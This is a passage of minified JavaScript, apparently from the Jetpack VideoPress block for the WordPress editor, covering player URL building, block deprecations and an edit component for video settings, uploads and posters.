l={...t&amp;&amp;{autoPlay:!0},...!s&amp;&amp;{controls:!1},...n&amp;&amp;{loop:!0},...o&amp;&amp;{muted:!0,persistVolume:!1},...a&amp;&amp;{posterUrl:a},...&quot;none&quot;!==i&amp;&amp;{preloadContent:i}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,l)}},31481(e,t,s){&quot;use strict&quot;;s.d(t,{j:()=&gt;a});var r=s(36536),n=s.n(r);const o=[{ratio:&quot;2.33&quot;,className:&quot;wp-embed-aspect-21-9&quot;},{ratio:&quot;2.00&quot;,className:&quot;wp-embed-aspect-18-9&quot;},{ratio:&quot;1.77&quot;,className:&quot;wp-embed-aspect-16-9&quot;},{ratio:&quot;1.33&quot;,className:&quot;wp-embed-aspect-4-3&quot;},{ratio:&quot;1.00&quot;,className:&quot;wp-embed-aspect-1-1&quot;},{ratio:&quot;0.56&quot;,className:&quot;wp-embed-aspect-9-16&quot;},{ratio:&quot;0.50&quot;,className:&quot;wp-embed-aspect-1-2&quot;}],a=(e,t)=&gt;{const s=o.map(e=&gt;e.className),r=new(n())(e);r.remove(...s,&quot;wp-block-embed&quot;,&quot;is-type-video&quot;,&quot;is-provider-videopress&quot;);const a=new(n())(e);return a.add(t),a.remove(...r),{className:r.value,videoPressClassNames:a.value}}},54727(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={attributes:{autoplay:{type:&quot;boolean&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},controls:{type:&quot;boolean&quot;,default:!0},guid:{type:&quot;string&quot;},id:{type:&quot;number&quot;},loop:{type:&quot;boolean&quot;},muted:{type:&quot;boolean&quot;},playsinline:{type:&quot;boolean&quot;},poster:{type:&quot;string&quot;},preload:{type:&quot;string&quot;,default:&quot;metadata&quot;},seekbarPlayedColor:{type:&quot;string&quot;,default:&quot;&quot;},seekbarLoadingColor:{type:&quot;string&quot;,default:&quot;&quot;},seekbarColor:{type:&quot;string&quot;,default:&quot;&quot;},src:{type:&quot;string&quot;},videoPressClassNames:{type:&quot;string&quot;}},support:{reusable:!1},isEligible:e=&gt;e.guid,save:s(31618).A,isDeprecation:!0}},31618(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(13022),o=s(70222),a=s(10790);function i(e){const{attributes:{autoplay:t,caption:s,controls:i,guid:l,loop:c,muted:u,playsinline:d,poster:p,preload:h,videoPressClassNames:m,className:g,align:f,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k}={}}=e,y=r.useBlockProps.save({className:(0,n.A)(&quot;wp-block-video&quot;,g,m,{[`align${f}`]:f})}),x=(0,o.e)(l,{autoplay:t,controls:i,loop:c,muted:u,playsinline:d,poster:p,preload:h,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k});return(0,a.jsxs)(&quot;figure&quot;,{...y,children:[(0,a.jsx)(&quot;div&quot;,{className:&quot;wp-block-embed__wrapper&quot;,children:`\n${x}\n`}),!r.RichText.isEmpty(s)&amp;&amp;(0,a.jsx)(r.RichText.Content,{tagName:&quot;figcaption&quot;,value:s})]})}},70222(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;n});var r=s(93832);const n=(e,{autoplay:t,controls:s,loop:n,muted:o,playsinline:a,poster:i,preload:l,seekbarColor:c,seekbarPlayedColor:u,seekbarLoadingColor:d})=&gt;{if(!e)return null;const p={resizeToParent:!0,...t&amp;&amp;{autoPlay:!0},...!s&amp;&amp;{controls:!1},...n&amp;&amp;{loop:!0},...o&amp;&amp;{muted:!0,persistVolume:!1},...a&amp;&amp;{playsinline:!0},...i&amp;&amp;{posterUrl:i},...&quot;none&quot;!==l&amp;&amp;{preloadContent:l},...&quot;&quot;!==c&amp;&amp;{sbc:c},...&quot;&quot;!==u&amp;&amp;{sbpc:u},...&quot;&quot;!==d&amp;&amp;{sblc:d}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,p)}},65390(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;r});const r={attributes:{autoplay:{type:&quot;boolean&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},controls:{type:&quot;boolean&quot;,default:!0},maxWidth:{type:&quot;string&quot;,default:&quot;100%&quot;},guid:{type:&quot;string&quot;},id:{type:&quot;number&quot;},loop:{type:&quot;boolean&quot;},isVideoPressExample:{type:&quot;boolean&quot;,default:!1},muted:{type:&quot;boolean&quot;},playsinline:{type:&quot;boolean&quot;},poster:{type:&quot;string&quot;},preload:{type:&quot;string&quot;,default:&quot;metadata&quot;},seekbarPlayedColor:{type:&quot;string&quot;,default:&quot;&quot;},seekbarLoadingColor:{type:&quot;string&quot;,default:&quot;&quot;},seekbarColor:{type:&quot;string&quot;,default:&quot;&quot;},src:{type:&quot;string&quot;},videoPressTracks:{type:&quot;array&quot;,items:{type:&quot;object&quot;},default:[]},videoPressClassNames:{type:&quot;string&quot;}},support:{reusable:!1},isEligible:e=&gt;e.guid,migrate:e=&gt;({...e,useAverageColor:!1}),save:s(84229).A,isDeprecation:!0}},84229(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(94715),n=s(13022),o=s(9847),a=s(10790);function i(e){const{attributes:{autoplay:t,caption:s,controls:i,guid:l,loop:c,muted:u,playsinline:d,poster:p,preload:h,videoPressClassNames:m,className:g,align:f,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k,maxWidth:y}={}}=e,x=r.useBlockProps.save({className:(0,n.A)(&quot;wp-block-video&quot;,g,m,{[`align${f}`]:f})}),j=(0,o.e)(l,{autoplay:t,controls:i,loop:c,muted:u,playsinline:d,poster:p,preload:h,seekbarColor:b,seekbarPlayedColor:v,seekbarLoadingColor:k});let w={};return y&amp;&amp;y.length&gt;0&amp;&amp;&quot;100%&quot;!==y&amp;&amp;(w={maxWidth:y,margin:&quot;auto&quot;}),(0,a.jsxs)(&quot;figure&quot;,{...x,children:[(0,a.jsx)(&quot;div&quot;,{className:&quot;wp-block-embed__wrapper&quot;,style:w,children:`\n${j}\n`}),!r.RichText.isEmpty(s)&amp;&amp;(0,a.jsx)(r.RichText.Content,{tagName:&quot;figcaption&quot;,value:s})]})}},9847(e,t,s){&quot;use strict&quot;;s.d(t,{e:()=&gt;n});var r=s(93832);const n=(e,{autoplay:t,controls:s,loop:n,muted:o,playsinline:a,poster:i,preload:l,seekbarColor:c,seekbarPlayedColor:u,seekbarLoadingColor:d})=&gt;{if(!e)return null;const p={resizeToParent:!0,cover:!0,...t&amp;&amp;{autoPlay:!0},...!s&amp;&amp;{controls:!1},...n&amp;&amp;{loop:!0},...o&amp;&amp;{muted:!0,persistVolume:!1},...a&amp;&amp;{playsinline:!0},...i&amp;&amp;{posterUrl:i},...&quot;none&quot;!==l&amp;&amp;{preloadContent:l},...&quot;&quot;!==c&amp;&amp;{sbc:c},...&quot;&quot;!==u&amp;&amp;{sbpc:u},...&quot;&quot;!==d&amp;&amp;{sblc:d}};return(0,r.addQueryArgs)(`https://videopress.com/v/${e}`,p)}},77189(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;N});var r=s(62410),n=s(1455),o=s.n(n),a=s(63162),i=s(94715),l=s(56427),c=s(29491),u=s(47143),d=s(86087),p=s(89877),h=s(27723),m=s(13109),g=s(13022),f=s(81837),b=s(74628),v=s(90781),k=s(76212),y=s(57954),x=s(96247),j=s(22857),w=s(17900),_=s(47960),C=s(10790);const __=h.__,_x=h._x,A=[&quot;image&quot;],S=e=&gt;{const t=(0,i.useBlockProps)({className:&quot;resumable-upload&quot;}),{onChangeTitle:s,title:n,filename:o,onSelectPoster:a,onRemovePoster:p,videoPosterImageData:h,fileForUpload:g,isUploadComplete:b,onDismissEditor:v,onSave:y,onVideoFrameSelected:x}=e,w=(0,u.useSelect)(e=&gt;e(&quot;core/editor&quot;).isSavingPost(),[]),_=(0,c.usePrevious)(w);return(0,d.useEffect)(()=&gt;{w&amp;&amp;!_&amp;&amp;y()},[w,_,y]),(0,C.jsx)(f.f,{onUploadFinished:e.uploadFinished,children:(0,C.jsxs)(d.Fragment,{children:[e.blockSettings,(0,C.jsxs)(&quot;div&quot;,{...t,children:[(0,C.jsxs)(&quot;div&quot;,{className:&quot;uploader-block__logo&quot;,children:[(0,C.jsx)(m.A,{icon:r.KZ}),(0,C.jsx)(&quot;div&quot;,{className:&quot;uploader-block__logo-text&quot;,children:__(&quot;VideoPress&quot;,&quot;jetpack&quot;)})]}),(0,C.jsx)(j.d,{file:g,filename:o,title:n,onChangeTitle:s,onSelectPoster:a,onRemovePoster:p,videoPosterImageData:h,onVideoFrameSelected:x}),!b&amp;&amp;(0,C.jsx)(k.A,{file:g}),b&amp;&amp;(0,C.jsxs)(&quot;div&quot;,{className:&quot;uploader-block__upload-complete&quot;,children:[(0,C.jsxs)(&quot;span&quot;,{children:[__(&quot;Upload Complete!&quot;,&quot;jetpack&quot;),&quot; 🎉&quot;]}),(0,C.jsx)(l.Button,{variant:&quot;primary&quot;,onClick:v,children:__(&quot;Done&quot;,&quot;jetpack&quot;)})]})]})]})})},E=e=&gt;{const{scripts:t}=e,{html:s,interactive:r,caption:n,isSelected:o,hideOverlay:a,attributes:c,setAttributes:u,shouldRenderLoadingBlock:p}=e,{align:h,className:m,videoPressClassNames:f,maxWidth:b}=c,k=(0,i.useBlockProps)({className:(0,g.A)(&quot;wp-block-video&quot;,m,f,{[`align${h}`]:h})}),y=(0,d.useCallback)(()=&gt;{const e=Array.isArray(t)?t:[];if(window.videopressAjax){const t=new Blob([`var videopressAjax = ${JSON.stringify(window.videopressAjax)};`],{type:&quot;text/javascript&quot;});return[...e,URL.createObjectURL(t),window.videopressAjax.bridgeUrl]}return e},[t]);if(p)return(0,C.jsx)(&quot;figure&quot;,{...k,children:(0,C.jsx)(v.A,{text:__(&quot;Generating preview…&quot;,&quot;jetpack&quot;)})});return(0,C.jsxs)(&quot;figure&quot;,{...k,children:[(0,C.jsx)(&quot;div&quot;,{className:&quot;wp-block-embed__wrapper&quot;,children:(0,C.jsx)(l.ResizableBox,{enable:{top:!1,bottom:!1,left:!0,right:!0},maxWidth:&quot;100%&quot;,size:{width:b},style:{margin:&quot;auto&quot;},onResizeStop:(e,t,s)=&gt;{let r=getComputedStyle(s).width;if(null!==s.parentElement){r===getComputedStyle(s.parentElement).width&amp;&amp;(r=&quot;100%&quot;)}u({maxWidth:r})},children:(0,C.jsx)(l.SandBox,{html:s,scripts:y(),type:f})})}),!r&amp;&amp;(0,C.jsx)(&quot;div&quot;,{className:&quot;block-library-embed__interactive-overlay&quot;,onMouseUp:a}),(!i.RichText.isEmpty(n)||o)&amp;&amp;(0,C.jsx)(i.RichText,{tagName:&quot;figcaption&quot;,placeholder:__(&quot;Write caption…&quot;,&quot;jetpack&quot;),value:n,onChange:e=&gt;u({caption:e}),inlineToolbar:!0})]})},N=(0,c.createHigherOrderComponent)((0,c.compose)([(0,u.withSelect)((e,t)=&gt;{const{autoplay:s,controls:r,fileForImmediateUpload:n,guid:o,loop:i,muted:l,playsinline:c,poster:u,preload:d,seekbarColor:p,seekbarLoadingColor:h,seekbarPlayedColor:m,src:g,useAverageColor:f}=t.attributes,{getEmbedPreview:b,isRequestingEmbedPreview:v}=e(&quot;core&quot;),k=(0,w.e)(o,{autoplay:s,controls:r,loop:i,muted:l,playsinline:c,poster:u,preload:d,seekbarColor:p,seekbarLoadingColor:h,seekbarPlayedColor:m,useAverageColor:f}),y=!!k&amp;&amp;b(k),x=!!k&amp;&amp;v(k),j=!!window.videoPressResumableEnabled;return{fileForImmediateUpload:n,isFetchingPreview:x,isUploading:!j&amp;&amp;(0,a.isBlobURL)(g),preview:y,resumableUploadEnabled:j,url:k}}),(0,u.withDispatch)(e=&gt;({invalidateCachedEmbedPreview:t=&gt;{e(&quot;core/data&quot;).invalidateResolution(&quot;core&quot;,&quot;getEmbedPreview&quot;,[t])}})),c.withInstanceId,e=&gt;class extends d.Component{constructor(e){super(...arguments),this.state={media:null,isFetchingMedia:!1,fallback:!1,interactive:!1,rating:null,lastRequestedMediaId:null,isUpdatingRating:!1,allowDownload:null,privacySetting:b.NF.SITE_DEFAULT,isUpdatingAllowDownload:!1,fileForUpload:e.fileForImmediateUpload,isUpdatingIsPrivate:!1,isEditingWhileUploading:!1,isUploadComplete:!1,lastPosterValueSource:&quot;&quot;,pendingVideoAttributes:null},this.posterImageButton=(0,d.createRef)(),this.previewCacheReloadTimer=null,this.previewFailuresCount=0}static getDerivedStateFromProps(e,t){const s={};if(!e.isSelected&amp;&amp;t.interactive&amp;&amp;(s.interactive=!1),t.fileForUpload&amp;&amp;!t.isEditingWhileUploading){null!==t.fileForUpload&amp;&amp;t.fileForUpload instanceof File&amp;&amp;(s.isEditingWhileUploading=!0)}else t.pendingVideoAttributes&amp;&amp;(s.isEditingWhileUploading=!0);return Object.keys(s).length?s:null}hideOverlay=()=&gt;{this.setState({interactive:!0})};async componentDidMount(){const{guid:e}=this.props.attributes;e?this.setTracks(e):await this.setGuid(),this.setRatingAndAllowDownload()}setRatingAndAllowDownload=async()=&gt;{const e=this.props?.attributes?.id,t=await this.requestMedia(e);let s=t?.jetpack_videopress?.rating;const r=t?.jetpack_videopress?.allow_download,n=t?.jetpack_videopress?.privacy_setting??b.NF.SITE_DEFAULT;s&amp;&amp;(&quot;X-18&quot;===s&amp;&amp;(s=&quot;R-17&quot;),this.setState({rating:s})),void 0!==r&amp;&amp;this.setState({allowDownload:!!r}),void 0!==n&amp;&amp;this.setState({privacySetting:n})};async componentDidUpdate(e){const{attributes:t,invalidateCachedEmbedPreview:s,preview:r,setAttributes:n,url:o,isFetchingPreview:a}=this.props;t.id!==e.attributes.id&amp;&amp;(await this.setGuid(),this.setRatingAndAllowDownload());let i=!1;if(o&amp;&amp;o!==e.url&amp;&amp;(s(o),i=!0),r){const e=(0,_.Zz)(r.html,(0,g.A)(&quot;wp-block-embed&quot;,&quot;is-type-video&quot;,&quot;is-provider-videopress&quot;),!1);this.previewFailuresCount=0,n({videoPressClassNames:e})}else a||i||!this.props.attributes.guid||this.schedulePreviewCacheReload()}schedulePreviewCacheReload=()=&gt;{const{invalidateCachedEmbedPreview:e,url:t}=this.props;null===this.previewCacheReloadTimer&amp;&amp;this.previewFailuresCount&lt;5&amp;&amp;(this.previewFailuresCount++,this.previewCacheReloadTimer=setTimeout(()=&gt;{e(t),this.previewCacheReloadTimer=null},2e3*this.previewFailuresCount))};fallbackToCore=()=&gt;{this.props.setAttributes({guid:void 0}),this.setState({fallback:!0})};setGuid=async()=&gt;{const{attributes:e,setAttributes:t}=this.props,{id:s}=e;if(s)try{const e=await this.requestMedia(s);if(null===e)return;const r=e?.jetpack_videopress?.guid;r?(t({guid:r}),this.setTracks(r)):this.fallbackToCore()}catch{this.setState({isFetchingMedia:!1}),this.fallbackToCore()}else t({guid:void 0})};requestMedia=async e=&gt;{if(!e)return null;if(null!==this.state.media&amp;&amp;this.state.lastRequestedMediaId===e)return this.state.media;this.setState({isFetchingMedia:!0});const t=await o()({path:`/wp/v2/media/${e}`}).catch(()=&gt;(this.setState({fallback:!0}),null)).finally(()=&gt;{this.setState({isFetchingMedia:!1})}),{id:s}=this.props.attributes;return e!==s?null:(this.setState({media:t,lastRequestedMediaId:e}),t)};setTracks=e=&gt;{const{setAttributes:t}=this.props;e&amp;&amp;o()({url:`https://public-api.wordpress.com/rest/v1.1/videos/${e}`,credentials:&quot;omit&quot;,global:!0}).then(e=&gt;{const s=[];Object.keys(e.tracks).forEach(t=&gt;{for(const r in e.tracks[t]){const n=e.tracks[t][r];s.push({src:n.src,kind:t,srcLang:r,label:n.label})}}),t({videoPressTracks:s})})};switchToEditing=()=&gt;{this.props.setAttributes({id:void 0,guid:void 0,src:void 0})};onSelectPoster=e=&gt;{const{setAttributes:t}=this.props;t({poster:e.url}),this.setState({videoPosterImageData:e})};onRemovePoster=()=&gt;{const{setAttributes:e}=this.props;e({poster:&quot;&quot;}),this.setState({videoPosterImageData:null}),this.posterImageButton.current.focus()};toggleAttribute=e=&gt;t=&gt;{this.props.setAttributes({[e]:t})};getAutoplayHelp=e=&gt;e?__(&quot;Note: Autoplaying videos may cause usability issues for some visitors.&quot;,&quot;jetpack&quot;):null;getPreloadHelp(){const{attributes:e}=this.props;return&quot;auto&quot;===e.preload?__(&quot;Note: Automatically downloading videos may cause issues if there are many videos displayed on the same page.&quot;,&quot;jetpack&quot;):null}getPrivacySettingHelp=e=&gt;{const t=parseInt(e,10);return b.NF.PRIVATE===t?__(&quot;Restrict views to members of this site&quot;,&quot;jetpack&quot;):b.NF.PUBLIC===t?__(&quot;Video can be viewed by anyone&quot;,&quot;jetpack&quot;):__(&quot;Follow the site privacy setting&quot;,&quot;jetpack&quot;)};renderControlLabelWithTooltip(e,t){return(0,C.jsx)(l.Tooltip,{text:t,position:&quot;top&quot;,children:(0,C.jsx)(&quot;span&quot;,{children:e})})}onChangeRating=e=&gt;{const t=this.state.rating;&quot;X-18&quot;===e&amp;&amp;(e=&quot;R-17&quot;),-1!==[&quot;G&quot;,&quot;PG-13&quot;,&quot;R-17&quot;].indexOf(e)&amp;&amp;this.updateMetaApiCall({rating:e},()=&gt;this.setState({isUpdatingRating:!0,rating:e}),()=&gt;this.setState({rating:t}),()=&gt;this.setState({isUpdatingRating:!1}))};onChangeAllowDownload=e=&gt;{const t=this.state.allowDownload;this.updateMetaApiCall({allow_download:e?1:0},()=&gt;this.setState({isUpdatingAllowDownload:!0,allowDownload:e}),()=&gt;this.setState({allowDownload:t}),()=&gt;this.setState({isUpdatingAllowDownload:!1}))};onChangePrivacySetting=e=&gt;{const t=this.state.privacySetting;this.updateMetaApiCall({privacy_setting:e},()=&gt;this.setState({isUpdatingPrivacySetting:!0,privacySetting:e}),()=&gt;this.setState({privacySetting:t}),()=&gt;this.setState({isUpdatingPrivacySetting:!1}))};updateMetaApiCall=(e,t,s,r)=&gt;{const{invalidateCachedEmbedPreview:n,url:a}=this.props,{id:i}=this.props.attributes;if(!i)return;t();const l={id:i};Object.assign(l,e),o()({path:&quot;/wpcom/v2/videopress/meta&quot;,method:&quot;POST&quot;,data:l}).then(e=&gt;{status in e&amp;&amp;200!==e.status&amp;&amp;s()}).catch(()=&gt;s()).finally(()=&gt;{r(),n(a)})};render(){const{attributes:t,instanceId:s,isFetchingPreview:r,isUploading:n,preview:a,resumableUploadEnabled:c,setAttributes:u}=this.props,{fallback:m,fileForUpload:g,isFetchingMedia:k,isUpdatingRating:j,interactive:w,rating:N,allowDownload:T,privacySetting:B,isUpdatingAllowDownload:P,isUpdatingPrivacySetting:I,videoPosterImageData:M}=this.state,{autoplay:L,caption:R,controls:D,guid:F,loop:O,muted:z,playsinline:U,poster:H,preload:q,useAverageColor:V,videoPressTracks:$,isVideoPressExample:G,src:W}=t;if(G&amp;&amp;W)return(0,C.jsx)(&quot;img&quot;,{src:W,alt:R});const Z=`video-block__poster-image-description-${s}`,J=!(!H&amp;&amp;!M),K=(0,C.jsxs)(d.Fragment,{children:[(0,C.jsx)(i.BlockControls,{group:&quot;block&quot;,children:(0,C.jsx)(x.A,{tracks:$,onChange:e=&gt;{u({videoPressTracks:e})},guid:F})}),(0,C.jsx)(i.BlockControls,{children:(0,C.jsx)(l.ToolbarGroup,{children:(0,C.jsx)(l.ToolbarButton,{className:&quot;components-icon-button components-toolbar__control&quot;,text:__(&quot;Replace&quot;,&quot;jetpack&quot;),onClick:this.switchToEditing})})}),(0,C.jsxs)(i.InspectorControls,{children:[(0,C.jsxs)(l.PanelBody,{title:__(&quot;Video Settings&quot;,&quot;jetpack&quot;),children:[(0,C.jsx)(l.ToggleControl,{label:this.renderControlLabelWithTooltip(__(&quot;Autoplay&quot;,&quot;jetpack&quot;),/* translators: Tooltip describing the &quot;autoplay&quot; option for the VideoPress player */
__(&quot;Start playing the video as soon as the page loads&quot;,&quot;jetpack&quot;)),onChange:this.toggleAttribute(&quot;autoplay&quot;),checked:L,help:this.getAutoplayHelp,__nextHasNoMarginBottom:!0}),(0,C.jsx)(l.ToggleControl,{label:this.renderControlLabelWithTooltip(__(&quot;Loop&quot;,&quot;jetpack&quot;),/* translators: Tooltip describing the &quot;loop&quot; option for the VideoPress player */
__(&quot;Restarts the video when it reaches the end&quot;,&quot;jetpack&quot;)),onChange:this.toggleAttribute(&quot;loop&quot;),checked:O,__nextHasNoMarginBottom:!0}),(0,C.jsx)(l.ToggleControl,{label:__(&quot;Muted&quot;,&quot;jetpack&quot;),onChange:this.toggleAttribute(&quot;muted&quot;),checked:z,__nextHasNoMarginBottom:!0}),(0,C.jsx)(l.ToggleControl,{label:this.renderControlLabelWithTooltip(__(&quot;Playback Controls&quot;,&quot;jetpack&quot;),/* translators: Tooltip describing the &quot;controls&quot; option for the VideoPress player */
__(&quot;Display the video playback controls&quot;,&quot;jetpack&quot;)),onChange:this.toggleAttribute(&quot;controls&quot;),checked:D,__nextHasNoMarginBottom:!0}),(0,C.jsx)(l.ToggleControl,{label:this.renderControlLabelWithTooltip(__(&quot;Play Inline&quot;,&quot;jetpack&quot;),/* translators: Tooltip describing the &quot;playsinline&quot; option for the VideoPress player */
__(&quot;Play the video inline instead of full-screen on mobile devices&quot;,&quot;jetpack&quot;)),onChange:this.toggleAttribute(&quot;playsinline&quot;),checked:U,__nextHasNoMarginBottom:!0}),(0,C.jsx)(l.SelectControl,{label:this.renderControlLabelWithTooltip(__(&quot;Preload&quot;,&quot;jetpack&quot;),/* translators: Tooltip describing the &quot;preload&quot; option for the VideoPress player */
__(&quot;Content to dowload before the video is played&quot;,&quot;jetpack&quot;)),value:q??&quot;&quot;,onChange:e=&gt;u({preload:e}),options:[{value:&quot;auto&quot;,label:_x(&quot;Auto&quot;,&quot;VideoPress preload setting&quot;,&quot;jetpack&quot;)},{value:&quot;metadata&quot;,label:_x(&quot;Metadata&quot;,&quot;VideoPress preload setting&quot;,&quot;jetpack&quot;)},{value:&quot;none&quot;,label:_x(&quot;None&quot;,&quot;VideoPress preload setting&quot;,&quot;jetpack&quot;)}],help:this.getPreloadHelp(),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,C.jsx)(i.MediaUploadCheck,{children:(0,C.jsxs)(l.BaseControl,{className:&quot;editor-video-poster-control&quot;,children:[(0,C.jsx)(l.BaseControl.VisualLabel,{children:__(&quot;Poster Image&quot;,&quot;jetpack&quot;)}),(0,C.jsx)(i.MediaUpload,{title:__(&quot;Select Poster Image&quot;,&quot;jetpack&quot;),onSelect:this.onSelectPoster,allowedTypes:A,render:({open:e})=&gt;(0,C.jsx)(l.Button,{variant:&quot;secondary&quot;,onClick:e,ref:this.posterImageButton,&quot;aria-describedby&quot;:Z,children:J?__(&quot;Replace image&quot;,&quot;jetpack&quot;,0):__(&quot;Select Poster Image&quot;,&quot;jetpack&quot;)})}),(0,C.jsx)(&quot;p&quot;,{id:Z,hidden:!0,children:J?(0,h.sprintf)(/* translators: %s: an image URL. */
__(&quot;The current poster image url is %s&quot;,&quot;jetpack&quot;),H??M):__(&quot;There is no poster image currently selected&quot;,&quot;jetpack&quot;)}),J&amp;&amp;(0,C.jsx)(l.Button,{onClick:this.onRemovePoster,variant:&quot;link&quot;,isDestructive:!0,children:__(&quot;Remove Poster Image&quot;,&quot;jetpack&quot;)})]})}),(0,d.createInterpolateElement)(__(&quot;Send us your &lt;a&gt;VideoPress feedback&lt;/a&gt;&quot;,&quot;jetpack&quot;),{a:(0,C.jsx)(l.ExternalLink,{href:&quot;https://automattic.survey.fm/videopress-feedback&quot;})})]}),(0,C.jsx)(y.A,{attributes:t,setAttributes:u,useAverageColor:V,toggleAttribute:this.toggleAttribute}),(0,C.jsxs)(l.PanelBody,{title:__(&quot;Video File Settings&quot;,&quot;jetpack&quot;),children:[(0,C.jsx)(l.SelectControl,{label:_x(&quot;Rating&quot;,&quot;The age rating for this video.&quot;,&quot;jetpack&quot;),value:N??&quot;&quot;,disabled:k||j,options:[{label:_x(&quot;G&quot;,&#039;Video rating for &quot;General Audiences&quot;.&#039;,&quot;jetpack&quot;),value:&quot;G&quot;},{label:_x(&quot;PG-13&quot;,&#039;Video rating for &quot;Parental Guidance&quot;, unsuitable for children under 13.&#039;,&quot;jetpack&quot;),value:&quot;PG-13&quot;},{label:_x(&quot;R&quot;,&#039;Video rating for &quot;Restricted&quot;, not recommended for children under 17.&#039;,&quot;jetpack&quot;),value:&quot;R-17&quot;}],onChange:this.onChangeRating,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,C.jsx)(l.ToggleControl,{label:this.renderControlLabelWithTooltip(__(&quot;Allow download&quot;,&quot;jetpack&quot;),/* translators: Tooltip describing the &quot;allow download&quot; option for the VideoPress player */
__(&quot;Display download option and allow viewers to download this video&quot;,&quot;jetpack&quot;)),onChange:this.onChangeAllowDownload,checked:T,disabled:k||P,__nextHasNoMarginBottom:!0}),(0,C.jsx)(l.SelectControl,{label:__(&quot;Video Privacy&quot;,&quot;jetpack&quot;),help:this.getPrivacySettingHelp(B),onChange:this.onChangePrivacySetting,value:B??&quot;&quot;,options:[{value:b.NF.SITE_DEFAULT,label:_x(&quot;Site Default&quot;,&quot;VideoPress privacy setting&quot;,&quot;jetpack&quot;)},{value:b.NF.PUBLIC,label:_x(&quot;Public&quot;,&quot;VideoPress privacy setting&quot;,&quot;jetpack&quot;)},{value:b.NF.PRIVATE,label:_x(&quot;Private&quot;,&quot;VideoPress privacy setting&quot;,&quot;jetpack&quot;)}],disabled:k||I,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})]})]})]}),Y=e=&gt;{this.setState({fileForUpload:e[0]})},Q=e=&gt;{e&amp;&amp;e.url?(this.props.setAttributes({src:e.url,id:e.id,poster:e.image?.src!==e.icon?e.image?.src:void 0}),e.videopress_guid&amp;&amp;this.props.setAttributes({guid:e.videopress_guid})):u({src:void 0,id:void 0,poster:void 0})},X=()=&gt;&quot;videoPressUploadPoster&quot;in window,ee=(0,p.escapeHTML)(g?(0,_.T3)(g.name):&quot;&quot;),te=({mediaId:e,guid:t,src:s})=&gt;{this.setState({title:this.state.title??ee,fileForUpload:null,isUploadComplete:!!e,isEditingWhileUploading:!!e&amp;&amp;this.state.isEditingWhileUploading,pendingVideoAttributes:e&amp;&amp;t&amp;&amp;s?{id:e,guid:t,src:s}:null})},se=e=&gt;{this.setState({title:e})},re=e=&gt;{this.setState({videoFrameSelectedInMillis:e,videoPosterImageData:null})},ne=()=&gt;{const e=this.state.title;this.updateMetaApiCall({title:e},()=&gt;this.setState({isUpdatingTitle:!0,title:e}),()=&gt;this.setState({title:e}),()=&gt;this.setState({isUpdatingTitle:!1}))},oe=()=&gt;ue({at_time:this.state.videoFrameSelectedInMillis,is_millisec:!0}),ae=()=&gt;ue({poster_attachment_id:this.state.videoPosterImageData.id}),ie=e=&gt;{e.generating?le():ce(e.poster)},le=()=&gt;{setTimeout(()=&gt;{(X()?window.videoPressGetPoster(F):o()({path:`/videos/${F}/poster`,apiNamespace:&quot;rest/v1.1&quot;,global:!0,method:&quot;GET&quot;})).then(e=&gt;ie(e))},2e3)},ce=e=&gt;{e&amp;&amp;u({poster:e})},ue=e=&gt;{if(X())return window.videoPressUploadPoster(F,e).then(e=&gt;ie(e));o()({path:`/videos/${F}/poster`,apiNamespace:&quot;rest/v1.1&quot;,method:&quot;POST&quot;,global:!0,data:e}).catch(e=&gt;e)},de=()=&gt;{const{title:e,videoFrameSelectedInMillis:t}=this.state;e&amp;&amp;ne(),M?ae():null!=t&amp;&amp;oe()},pe=()=&gt;{this.state.pendingVideoAttributes&amp;&amp;u(this.state.pendingVideoAttributes),this.setState({isEditingWhileUploading:!1,pendingVideoAttributes:null}),de()};if(null!=g&amp;&amp;g.name||this.state.isEditingWhileUploading){const e=this.state.title??ee;return(0,C.jsx)(S,{fileForUpload:g,filename:ee,uploadFinished:te,blockSettings:K,onDismissEditor:pe,isUploadComplete:this.state.isUploadComplete,onSelectPoster:this.onSelectPoster,onRemovePoster:this.onRemovePoster,onChangeTitle:se,title:e,videoPosterImageData:this.state.videoPosterImageData,onVideoFrameSelected:re,onSave:de})}const he=k||r,me=m||n||!F,ge=me&amp;&amp;!n&amp;&amp;!he,fe=(0,C.jsxs)(d.Fragment,{children:[(0,C.jsx)(&quot;div&quot;,{className:n||he?&quot;&quot;:&quot;videopress-block-hide&quot;,children:(0,C.jsx)(v.A,{text:n?__(&quot;Uploading…&quot;,&quot;jetpack&quot;):__(&quot;Generating preview…&quot;,&quot;jetpack&quot;,0)})}),(0,C.jsx)(&quot;div&quot;,{className:ge?&quot;&quot;:&quot;videopress-block-hide&quot;,children:(0,C.jsx)(e,{...this.props})})]});if(me)return c?(0,C.jsx)(f.f,{onFilesSelected:Y,onMediaItemSelected:Q,children:fe}):(0,C.jsx)(d.Fragment,{children:fe});const{html:be,scripts:ve}=a||{html:null,scripts:null},ke=he||!a;return(0,C.jsxs)(d.Fragment,{children:[K,(0,C.jsx)(E,{...this.props,hideOverlay:this.hideOverlay,html:be,scripts:ve,interactive:w,caption:R,shouldRenderLoadingBlock:ke})]})}}]),&quot;withVideoPressEdit&quot;)},27156(e,t,s){&quot;use strict&quot;;var r=s(90372),n=s(97999),o=s(85985),a=s(63162),i=s(94715),l=s(75994),c=s(74997),u=s(56427),d=s(29491),p=s(47143),h=s(43656),m=s(86087),g=s(52619),f=s(27723),b=s(81837),v=s(59257),k=s(21440),y=s(54727),x=s(65390),j=s(77189),w=s(41560),_=s(47960),C=s(51983),A=s(7345),S=s(40932),E=(s(47769),s(10790));const 